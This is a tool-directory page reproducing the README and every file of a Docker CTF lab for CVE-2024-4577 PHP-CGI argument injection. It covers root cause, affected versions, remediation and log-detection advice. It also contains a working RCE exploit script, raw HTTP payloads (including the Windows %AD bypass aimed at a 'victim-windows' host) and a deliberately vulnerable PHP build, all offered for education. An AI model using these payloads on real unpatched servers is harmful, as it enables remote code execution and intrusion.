Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2024-4577-lab — Docker-based CTF lab demonstrating CVE-2024-4577 PHP-CGI argument injection leading to RCE. Includes vulnerable PHP 5.4.1 CGI, exploit scripts, and flag retrieval. | Kitploit
Tools/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

Docker-based CTF lab demonstrating CVE-2024-4577 PHP-CGI argument injection leading to RCE. Includes vulnerable PHP 5.4.1 CGI, exploit scripts, and flag retrieval.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-4577 — PHP-CGI Argument Injection → RCE (Docker Lab / CTF)

A self-contained, from-scratch Docker lab that demonstrates the real argument-injection → Remote Code Execution primitive behind CVE-2024-4577. Exploit it over http://localhost:8080, pop a shell, and read the flag from inside the container.

This is a genuine vulnerability, not a simulated one. The container compiles an unpatched PHP 5.4.1 CGI binary and wires it behind Apache exactly the way real vulnerable hosts are configured. There is no fake "if password == flag" check anywhere — the only way to get the flag is to actually achieve code execution.


⚠️ Read this first — Linux vs. Windows (important & honest)

CVE-2024-4577’s signature payload uses %AD (a soft hyphen). That trick only works on Windows, because Windows’ "Best-Fit" character encoding converts the byte 0xAD into a real - (0x2D) PHP’s CVE-2012-1823 patch has already checked the query string. That encoding conversion is done by — it

after
Windows itself
does not happen inside a normal Linux Docker container.

So a faithful, runnable-on-your-machine Linux lab reproduces the exact same RCE primitive — php-cgi option injection through the URL → -d auto_prepend_file=php://input → code execution — using the literal - form (which is CVE-2024-4577’s parent bug, CVE-2012-1823). The only difference from a real Windows CVE-2024-4577 target is the %AD→- encoding-bypass layer, which this README documents in full (see How it works and poc.http).

This Linux labReal CVE-2024-4577 (Windows)
Vulnerable componentphp-cgiphp-cgi
RCE primitive-d auto_prepend_file=php://inputidentical
Delimiter in URLliteral -%AD (best-fit → -)
Bypasses 2012 patch?N/A (PHP predates the patch)Yes, via Windows best-fit
Runs on Win 11 Home + Docker Desktop✅❌ (needs Windows containers)

If you specifically need the bit-for-bit Windows %AD reproduction, you need a Windows-container-capable Docker host (Windows Server / Win Pro + Hyper-V) — it will not run on Windows 11 Home. The Windows payload is included in poc.http for reference.


1. CVE description

CVE-2024-4577 — PHP CGI Argument Injection leading to Remote Code Execution. Discovered by DEVCORE (Orange Tsai / Angelboy), disclosed 2024-06-06.

When PHP is deployed in CGI mode (or the php-cgi.exe binary is otherwise reachable) on Windows with certain system locales (Traditional/Simplified Chinese, Japanese, and others), the web server passes the HTTP query string to php-cgi as command-line arguments. An attacker can smuggle php-cgi command-line options (-d ...) into that query string. Windows’ best-fit codepage conversion turns the soft-hyphen byte 0xAD (%AD) into an ASCII hyphen -, which slips past the CVE-2012-1823 hardening and lets the attacker set arbitrary PHP INI directives — most usefully auto_prepend_file=php://input with allow_url_include=1, which executes the attacker-supplied request body as PHP. Result: unauthenticated remote code execution. It was weaponized in the wild within days (e.g. TellYouThePass ransomware).

2. Root cause

  1. CGI passes the query string as argv. Per RFC 3875, if a CGI request’s query string contains no unencoded =, the server splits it on +, URL-decodes each word, and passes the words to the CGI program as command-line arguments. php-cgi therefore receives attacker-controlled argv.

  2. php-cgi parses those argv as options. Historically php-cgi would interpret -d key=value, -T, etc. from that argv. Feeding -d allow_url_include=1 -d auto_prepend_file=php://input makes PHP execute the request body as code → CVE-2012-1823.

  3. The CVE-2012-1823 fix is incomplete on Windows. The 2012 patch added a guard in sapi/cgi/cgi_main.c: roughly "if the (raw) query string begins with - and has no =, skip option parsing (skip_getopt)." An attacker sending a literal - is now blocked.

  4. Best-fit encoding defeats the guard (the 2024 bug). On Windows, PHP converts the command line using the locale codepage with best-fit mapping enabled. The attacker sends %AD (byte 0xAD, soft hyphen). At the moment of the guard’s check the first byte is 0xAD, not -, so skip_getopt is not set. Later, when PHP actually builds the argv, Windows best-fit-maps 0xAD → -, so getopt now sees -d. The option injection fires after the check that was supposed to stop it. That check-then-convert ordering is the entire vulnerability.

In this Linux lab, steps 1–2 are reproduced exactly with a php-cgi that predates step 3’s patch, so the literal - form works and demonstrates the identical RCE. Step 4 is the Windows-only layer, documented but not executed (Linux has no best-fit conversion).

3. Affected versions (real CVE-2024-4577)

Fixed in 8.3.8, 8.2.20, 8.1.29. Therefore vulnerable:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x, 7.x, 5.x — end-of-life, unpatched, also affected

Conditions: Windows OS; PHP running as CGI or php-cgi.exe exposed (the default XAMPP on Windows configuration is vulnerable); an affected locale for the best-fit path. (The parent bug CVE-2012-1823 — the primitive this lab runs — affects any OS running a pre-2012-fix php-cgi in this configuration.)

4. Project layout

root@kitploit:~
cve-2024-4577-lab/
├── Dockerfile              # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache
├── Dockerfile.vulhub       # fallback: prebuilt vulnerable base image (if compile fails)
├── docker-compose.yml      # one-command build+run, maps localhost:8080 -> 80
├── start.sh                # container entrypoint (Apache foreground)
├── exploit.sh              # one-shot RCE PoC (bash + curl)
├── poc.http                # raw HTTP requests (Linux payload + real Windows %AD payload)
├── app/
│   └── index.php           # ordinary web page (NOT itself vulnerable)
├── config/
│   ├── apache-vhost.conf   # the vulnerable Apache <-> php-cgi wiring
│   └── php.ini             # minimal php.ini (cgi.force_redirect=0, etc.)
├── flag.txt                # the flag (copied to /flag.txt in the container)
└── README.md               # this file

5. Prerequisites

  • Docker Desktop (Windows/macOS) or Docker Engine (Linux). Windows 11 Home: install Docker Desktop with the WSL 2 backend (default). → https://www.docker.com/products/docker-desktop/
  • curl for exploitation (curl.exe is built into Windows 10/11; also in Git Bash / WSL / macOS / Linux).
  • Internet access during build (downloads the PHP 5.4.1 source).

6. Build instructions

Open a terminal in the cve-2024-4577-lab/ folder.

Option A — docker compose (recommended)

root@kitploit:~
docker compose up --build -d

Option B — plain docker

docker build command:

root@kitploit:~
docker build -t cve-2024-4577-lab .

docker run command:

root@kitploit:~
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

The build compiles PHP from source (~2–5 min the first time). If it fails on your machine (offline, no toolchain, museum.php.net blocked), use the fallback base image:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. How to verify the service

root@kitploit:~
curl -s http://localhost:8080/ | head -n 20

You should see the ACME Internal Status Portal HTML, and crucially:

root@kitploit:~
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi (i.e. served through php-cgi) confirms the vulnerable component is in the request path. Also check logs:

root@kitploit:~
docker logs cve-2024-4577-lab

8. Exploitation steps

The injected query string (URL-encoded so Apache sees no literal = and therefore treats it as CGI argv):

root@kitploit:~
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi parses as:

root@kitploit:~
-d allow_url_include=1  -d auto_prepend_file=php://input

The request body becomes PHP source (read via php://input) and runs before index.php.

8a. Easiest — run the script

root@kitploit:~
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. Manual — one curl line (Linux / macOS / Git Bash / WSL / Windows curl.exe)

root@kitploit:~
curl -s -H "Content-Type: text/plain" \
  --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" \
  "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

On Windows PowerShell, use curl.exe explicitly (PowerShell’s curl is an alias for Invoke-WebRequest and mangles the query string):

root@kitploit:~
curl.exe -s -H "Content-Type: text/plain" `
  --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
  "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

8c. Manual — raw HTTP (Burp Repeater)

See poc.http. Paste request #1 into Burp Repeater and send.

9. Expected output

root@kitploit:~
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

The uid=33(www-data) line proves arbitrary OS command execution as the web-server user — this is real code execution, not a printed string.

10. How to retrieve the flag

The flag lives at /flag.txt inside the container — outside the web root (/var/www/html), so it is not reachable over HTTP. The only way to read it is to run a command via the RCE:

root@kitploit:~
bash exploit.sh http://localhost:8080 "cat /flag.txt"

Flag:

root@kitploit:~
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(In a real CTF you would not be told the path — you’d run ls -la / through the RCE to find it. Try bash exploit.sh http://localhost:8080 "ls -la /".)

11. Cleanup commands

root@kitploit:~
# compose
docker compose down

# plain docker
docker stop cve-2024-4577-lab
docker rm   cve-2024-4577-lab        # only if you did NOT use --rm

# remove the image entirely
docker rmi cve-2024-4577-lab

# nuke build cache too (optional)
docker builder prune -f

🔬 How the exploit works, step by step

  1. Client → Apache. You send POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input with a PHP payload in the body.

  2. Apache routing. AddHandler application/x-httpd-php .php + Action application/x-httpd-php /cgi-bin/php-cgi route the request to the php-cgi binary (mod_actions + mod_cgi).

  3. Query string → argv (the CGI rule). Apache’s mod_cgi sees the query string has no unencoded = (we sent %3d, not =), so per RFC 3875 it splits on +, URL-decodes each word, and passes them to php-cgi as argv: -d, allow_url_include=1, -d, auto_prepend_file=php://input.

  4. php-cgi parses the injected options. This php-cgi (5.4.1, pre-2012 fix) has no skip_getopt guard, so it happily processes the -d options:

    • allow_url_include=1 — allow including PHP from stream wrappers.
    • auto_prepend_file=php://input — before running the requested script, include and execute the request body as PHP.
  5. Body executes as code. php://input is your POST body, <?php system('id; cat /flag.txt'); die(); ?>. It runs as the Apache user (www-data), executes the OS command, prints its output, and die()s before index.php ever runs.

  6. Flag exfiltration. system('cat /flag.txt') reads /flag.txt (readable by www-data) and returns it in the HTTP response.

Why the vulnerability exists (the deeper "why")

  • CGI conflates arguments with user input. The 1990s CGI convention of turning a query string into argv was designed for <ISINDEX> search scripts. Pointing it at an interpreter like php-cgi, whose argv are powerful configuration switches, is a category error: user-controlled data becomes program configuration.

  • -d is remote-INI-injection. php-cgi -d name=value overrides any INI directive at runtime, overriding even a hardened php.ini. auto_prepend_file

    • allow_url_include + the php://input wrapper compose into "execute the request body," i.e. RCE.
  • CVE-2024-4577 specifically exists because the CVE-2012-1823 fix checks the query string for a leading - before Windows performs its best-fit encoding conversion. The attacker sends %AD (soft hyphen); it isn’t - when the check runs, so the guard passes, but Windows later best-fit-maps 0xAD → 0x2D (-), re-introducing the - after the gate. Check-then-transform ordering + a locale-dependent, lossy encoding = a patch bypass.


🛡️ Why this challenge resists "just guess the flag" / AI shortcuts

  • The flag is not in the web root and is not referenced by index.php, so no amount of crawling, fuzzing, or reading the app source reveals it.
  • There is no logic backdoor (no if (input === flag)), so a solver can’t reverse a comparison — the flag only appears in a process’s stdout after real OS command execution.
  • Retrieving it requires performing the actual argument-injection exploit: correctly encoding = as %3d, keeping - as the option delimiter, and delivering the payload via php://input. Get any step wrong and you get the benign ACME page, not the flag.
  • The token is a high-entropy random string, not a guessable word.

Real-world remediation

  • Update PHP to ≥ 8.3.8 / 8.2.20 / 8.1.29.
  • Don’t run PHP as CGI. Use PHP-FPM / mod_php.
  • On Windows/XAMPP, remove ScriptAlias/handler mappings that expose php-cgi.exe; block requests where the query string starts with an encoded soft hyphen; deny %AD in the query string at the WAF.
  • Detection: web logs with query strings containing %AD, auto_prepend_file, allow_url_include, or php://input.

APPENDIX — every file, in full

Everything below is the complete source of each file, so this single document is fully self-contained.

Dockerfile

root@kitploit:~
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

Dockerfile.vulhub

root@kitploit:~
# =============================================================================
#  FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile
#  fails on your machine (e.g. no build toolchain, offline, museum.php.net
#  unreachable).
#
#  It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires
#  Apache + php-cgi in the same vulnerable way, then drops in our app + flag.
#
#  To use it:
#     docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
#     docker run --rm -p 8080:80 cve-2024-4577-lab
#  or edit docker-compose.yml: dockerfile: Dockerfile.vulhub
#
#  NOTE: this pulls a third-party base image, so it is less "from scratch"
#  than ./Dockerfile. The exploit and README steps are identical.
# =============================================================================
FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php
COPY flag.txt      /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
EXPOSE 80

docker-compose.yml

root@kitploit:~
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

config/apache-vhost.conf

root@kitploit:~
<VirtualHost *:80>
    ServerName localhost
    DocumentRoot /var/www/html

    # ---------------------------------------------------------------------
    # Expose the (vulnerable) php-cgi binary as a CGI script.
    # ---------------------------------------------------------------------
    ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
    <Directory "/usr/lib/cgi-bin">
        AllowOverride None
        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
        Require all granted
    </Directory>

    # ---------------------------------------------------------------------
    # Route every *.php request through php-cgi via mod_actions.
    #
    # THE BUG:  Per the CGI spec, when a query string contains no unencoded
    # '=' , Apache splits it on '+' and passes the words to the CGI program
    # as command-line arguments (argv). Because this php-cgi (5.4.1) predates
    # the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
    # attacker can inject  -d <ini>=<value>  straight from the URL.
    # ---------------------------------------------------------------------
    <Directory /var/www/html>
        Options +ExecCGI FollowSymLinks
        AddHandler application/x-httpd-php .php
        Action application/x-httpd-php /cgi-bin/php-cgi
        DirectoryIndex index.php
        Require all granted
    </Directory>

    ErrorLog  ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

config/php.ini

root@kitploit:~
; ---------------------------------------------------------------------------
;  Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab.
;  Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup.
; ---------------------------------------------------------------------------

; php-cgi refuses to run under a web server unless force_redirect is satisfied.
; Turning it off keeps the CGI SAPI happy behind Apache's Action handler.
cgi.force_redirect = 0
cgi.fix_pathinfo   = 1

display_errors         = On
display_startup_errors = On
log_errors             = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the
; exploit RE-ENABLES it at runtime through the injected  -d allow_url_include=1
; option, which is the whole point of the argument-injection primitive.
allow_url_fopen    = On
allow_url_include  = Off

short_open_tag     = On

start.sh

root@kitploit:~
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

exploit.sh

root@kitploit:~
#!/usr/bin/env bash
# ===========================================================================
#  exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE
#
#  Usage:   ./exploit.sh [target_url] [shell_command]
#
#  Examples:
#     ./exploit.sh
#     ./exploit.sh http://localhost:8080
#     ./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
#
#  Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,
#  WSL, macOS, Linux).
# ===========================================================================
set -euo pipefail

TARGET="${1:-http://localhost:8080}"
CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

# Injected php-cgi command-line options, URL-encoded so Apache treats the
# query string as CGI argv (it must contain NO literal '=' -> we send %3d):
#   -d allow_url_include=1             enable including php:// streams
#   -d auto_prepend_file=php://input   run the request body as PHP first
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

# PHP payload delivered in the request body and read back via php://input.
# die() stops execution before index.php's HTML so the output stays clean.
BODY="<?php echo '[+] RCE as '.trim(shell_exec('id -un')).' on '.php_uname('n').\"\\n\"; system(\"${CMD}\"); die(); ?>"

echo "[*] Target    : ${TARGET}/index.php"
echo "[*] Injection : ?${QUERY}"
echo "[*] Command   : ${CMD}"
echo "[*] Firing argument-injection request..."
echo "-----------------------------------------------------------------"

curl -sS \
     -H 'Content-Type: text/plain' \
     --data-binary "${BODY}" \
     "${TARGET}/index.php?${QUERY}"

echo
echo "-----------------------------------------------------------------"
echo "[*] Success if you see FLAG{...} above."

app/index.php

root@kitploit:~
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

poc.http

root@kitploit:~
###############################################################################
#  Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.
#  (Content-Length is recalculated automatically by Burp/Repeater.)
###############################################################################

### 1) LINUX LAB PAYLOAD — works against this container.
### PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: localhost:8080
Content-Type: text/plain
Content-Length: 44
Connection: close

<?php system("id; cat /flag.txt"); die(); ?>


### 2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.
### 0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the
### CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT
### trigger on the Linux container (Linux has no best-fit conversion).
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim-windows
Content-Type: text/plain
Content-Length: 30
Connection: close

<?php system("whoami"); die(); ?>

flag.txt

root@kitploit:~
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

References

  • DEVCORE advisory — "CVE-2024-4577 · PHP CGI Argument Injection" (2024-06).
  • PHP security fix commits for 8.1.29 / 8.2.20 / 8.3.8 (sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — the parent argument-injection bug this lab reproduces.
  • RFC 3875 — The Common Gateway Interface (CGI) Version 1.1, §4.4 (command line).

For authorized security education / CTF use only.

Download Tool